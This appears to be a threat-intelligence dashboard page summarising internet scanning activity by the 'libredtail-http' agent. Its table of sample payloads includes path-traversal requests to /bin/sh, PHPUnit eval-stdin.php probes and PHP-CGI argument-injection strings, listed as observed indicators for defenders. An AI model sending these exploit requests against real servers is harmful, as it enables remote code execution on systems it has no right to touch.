iAnonymous lookups: 30/hr per source IP. Sign in (free) to lift the limit, run heavier queries, and get an API key for MCP / HTTP.
Filtered actors · live query
65 unique IPs · 3.4K events · 24 countries · 41 ASNs
Activity · last 7d
peak 786 on 2026-07-10
Turn this query into a daily email digest or an IOC feed URL.Save as feed
Sample payloads
top distinct probes matching this query| Protocol | Port | Probe / payload | Hits | Example |
|---|---|---|---|---|
| HTTP | 443/HTTPS | POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh UA: libredtail-http | 86 · 65 IPs | 111.9.42.6 → |
| HTTP | 443/HTTPS | POST /cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh UA: libredtail-http | 84 · 64 IPs | 111.9.42.6 → |
| HTTP | 443/HTTPS | GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php UA: libredtail-http | 82 · 63 IPs | 111.9.42.6 → |
| HTTP | 443/HTTPS | POST /hello.world?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input UA: libredtail-http | 82 · 63 IPs | 111.9.42.6 → |
| HTTP | 443/HTTPS | POST /?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input UA: libredtail-http | 82 · 63 IPs | 111.9.42.6 → |
| HTTP | 443/HTTPS | GET /vendor/phpunit/phpunit/Util/PHP/eval-stdin.php UA: libredtail-http | 81 · 62 IPs | 111.9.42.6 → |
| HTTP | 443/HTTPS | GET /vendor/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php UA: libredtail-http | 80 · 61 IPs | 111.9.42.6 → |
| HTTP | 443/HTTPS | GET /vendor/phpunit/src/Util/PHP/eval-stdin.php UA: libredtail-http | 80 · 61 IPs | 111.9.42.6 → |
| HTTP | 443/HTTPS | GET /vendor/phpunit/phpunit/LICENSE/eval-stdin.php UA: libredtail-http | 80 · 61 IPs | 111.9.42.6 → |
| HTTP | 443/HTTPS | GET /vendor/phpunit/Util/PHP/eval-stdin.php UA: libredtail-http | 80 · 61 IPs | 111.9.42.6 → |
| HTTP | 443/HTTPS | GET /phpunit/phpunit/src/Util/PHP/eval-stdin.php UA: libredtail-http | 78 · 60 IPs | 111.9.42.6 → |
| HTTP | 443/HTTPS | GET /phpunit/src/Util/PHP/eval-stdin.php UA: libredtail-http | 76 · 58 IPs | 111.9.42.6 → |
IPCountryASNTop portsEvents